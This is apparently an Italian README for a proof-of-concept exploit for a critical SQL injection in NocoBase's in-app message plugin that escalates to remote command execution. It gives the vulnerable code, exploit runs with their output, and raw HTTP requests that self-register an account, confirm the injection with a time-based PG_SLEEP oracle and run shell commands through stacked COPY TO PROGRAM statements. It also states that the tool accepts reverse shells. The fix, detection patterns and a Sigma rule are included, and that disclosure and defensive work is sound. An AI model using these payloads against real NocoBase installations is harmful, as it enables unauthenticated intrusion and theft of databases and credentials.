
CVE-2026-52887 — Iniezione SQL in NocoBase -> RCE come superutente PostgreSQL (filtro myInAppChannels:list, CVSS 10.0). PoC dell'autore + analisi del sorgente + laboratorio docker.
Iniezione SQL nell'azione myInAppChannels:list del plugin @nocobase/plugin-notification-in-app-message (≤ 2.0.60) di NocoBase. Il parametro di richiesta filter[latestMsgReceiveTimestamp][$lt] viene interpolato direttamente in una stringa SQL grezza Sequelize.literal() senza escaping né binding. Grazie al supporto per istruzioni impilate (stacked statements) del driver PostgreSQL pg, l'iniezione raggiunge COPY … TO PROGRAM e, poiché il compose predefinito del vendor crea il ruolo DB nocobase come superutente, ciò consente l'esecuzione di comandi shell come utente di sistema postgres. L'endpoint richiede un utente autenticato, ma il plugin predefinito auth-basic include la registrazione autonoma abilitata, quindi qualsiasi visitatore anonimo può registrarsi e raggiungerlo.
packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts,
gestore myInAppChannels:list (2.0.57):
const latestMsgReceiveTSFilter = filter?.latestMsgReceiveTimestamp?.$lt
? Sequelize.literal(`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}`)
: null;
filter.latestMsgReceiveTimestamp.$lt arriva direttamente dalla query della richiesta
(filter[latestMsgReceiveTimestamp][$lt]=…) e viene concatenato in un
Sequelize.literal() — SQL grezzo, nessun binding di parametri, nessuna coercizione di tipo. Un
attaccante può chiudere il confronto e appendere SQL arbitrario.
pg, che consente istruzioni impilate
(… ; …). Il frammento iniettato aggiunge una seconda istruzione.docker-compose.yml predefinito del vendor crea il ruolo nocobase tramite
POSTGRES_USER dell'immagine postgres, che è sempre un superutente.COPY (…) TO PROGRAM '<shell>', mandando in esecuzione <shell> come
utente di sistema postgres all'interno del container del DB.L'ACL myInAppChannels è loggedIn, ma il plugin predefinito auth-basic include
allowSignUp: true. Un attaccante anonimo si registra autonomamente
(POST /api/auth:signUp?authenticator=basic), effettua il login per ottenere un bearer token e
procede — quindi su un'installazione predefinita risulta di fatto non autenticato.
defineMyInAppChannels.ts aggiunge parseLatestMsgReceiveTimestampLt(), che forza
il valore attraverso Number() (respinto con un 400 se non finito / non numerico)
e passa a un confronto vincolato:
Sequelize.where(Sequelize.literal(latestMsgReceiveTimestampSQL), Op.lt, latestMsgReceiveTimestampLt)
$ python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
[+] self-registered 'lab_operator' via auth-basic signUp
[+] signed in, bearer token acquired
[*] time-based: PG_SLEEP(5)=5.03s control=0.02s
[+] SQL injection confirmed (time-based)
[+] COPY TO PROGRAM sent (HTTP 200) - 'id > /tmp/proof 2>&1' executed as the postgres OS user
$ docker exec nb-pg cat /tmp/proof
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
Catena HTTP grezza:
POST /api/auth:signUp?authenticator=basic {"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}
POST /api/auth:signIn?authenticator=basic {"account":"a","password":"P!ssw0rd1"} → {"data":{"token":"…"}}
# time-based oracle (≈5s delay):
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0)%20AND%201=(SELECT%201%20FROM%20PG_SLEEP(5))--%20a
Authorization: Bearer <token>
# stacked-statement RCE:
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0);%20COPY%20(SELECT%201)%20TO%20PROGRAM%20'id%20>%20/tmp/proof'; --%20a
Authorization: Bearer <token>
--cmd accetta qualsiasi comando shell (reverse shell, callback OAST, lettura delle righe del DB
tramite COPY (SELECT …) TO PROGRAM 'cat > /tmp/x', ecc.).
Nessun docker bridge su questo host, quindi esegui entrambi i container con la rete host:
docker run -d --name nb-pg --network host \
-e POSTGRES_USER=nocobase -e POSTGRES_PASSWORD=nocobase -e POSTGRES_DB=nocobase postgres:16
docker run -d --name nb-app --network host \
-e DB_DIALECT=postgres -e DB_HOST=127.0.0.1 -e DB_PORT=5432 \
-e DB_DATABASE=nocobase -e DB_USER=nocobase -e DB_PASSWORD=nocobase \
-e APP_KEY=change-me -e APP_PORT=13000 nocobase/nocobase:2.0.57
# NocoBase auto-installs and serves on http://127.0.0.1:13000
python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
docker exec nb-pg cat /tmp/proof
Verifica della versione corretta (payload respinti):
docker run ... nocobase/nocobase:2.0.61 # same steps
# the PG_SLEEP / COPY TO PROGRAM payloads return HTTP 400; a numeric $lt still returns 200
Vedi EVIDENCE.txt per la trascrizione catturata e
ANALYSIS.md per l'analisi a livello di sorgente.
CONFERMATO VULNERABILE su nocobase/nocobase:2.0.57, verificato con due tecniche
indipendenti:
PG_SLEEP(5) ritarda la risposta di ~5.0s, mentre
una richiesta identica senza il sleep risponde in ~0.03s sullo stesso endpoint
(esclude un rate limiter / artefatto di retry).uid=999(postgres) gid=999(postgres), il vero output di id(1) eseguito come
utente di sistema postgres, non un echo del payload.CORRETTO su nocobase/nocobase:2.0.61 — entrambi i payload restituiscono HTTP 400, mentre un
$lt numerico restituisce ancora 200.
Esecuzione remota di codice come utente di sistema postgres all'interno del container del database: lettura/scrittura completa del database NocoBase, divulgazione di tutti i segreti e le credenziali utente memorizzati e una base per il movimento laterale. Raggiungibile da qualsiasi visitatore anonimo su un'installazione predefinita.
COPY … TO PROGRAM).allowSignUp: false) dove non richiesta.Richieste myInAppChannels:list il cui valore filter[latestMsgReceiveTimestamp][$lt]
non è un semplice numero, e log PostgreSQL contenenti COPY … TO PROGRAM:
GET /api/myInAppChannels:list with filter[latestMsgReceiveTimestamp][$lt] containing
non-numeric characters: ')', ';', 'SELECT', 'PG_SLEEP', 'COPY', '--'
postgres: statement: COPY (...) TO PROGRAM '...'
Sigma (log di accesso webserver):
title: NocoBase myInAppChannels SQL injection (CVE-2026-52887)
logsource: { category: webserver }
detection:
selection:
cs-uri-stem|contains: '/api/myInAppChannels:list'
cs-uri-query|contains:
- 'PG_SLEEP'
- 'TO PROGRAM'
- '$lt]=0)'
- '$lt]=0);'
condition: selection
level: critical
MIT. © Caio Fabrício (BiiTts).
| CVE | CVE-2026-52887 |
| Prodotto | NocoBase (@nocobase/plugin-notification-in-app-message) |
| Versioni interessate | ≤ 2.0.60 (verificato su nocobase/nocobase:2.0.57) |
| Corretta | 2.0.61 |
| Classe | Iniezione SQL (CWE-89) → esecuzione di comandi del sistema operativo |
| CVSS 3.1 | 10.0 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (GitHub CNA) |
| Autenticazione | Effettivamente non autenticato — auth-basic predefinito allowSignUp: true |
| Stato | CONFERMATO VULNERABILE — verificato end-to-end su 2.0.57 |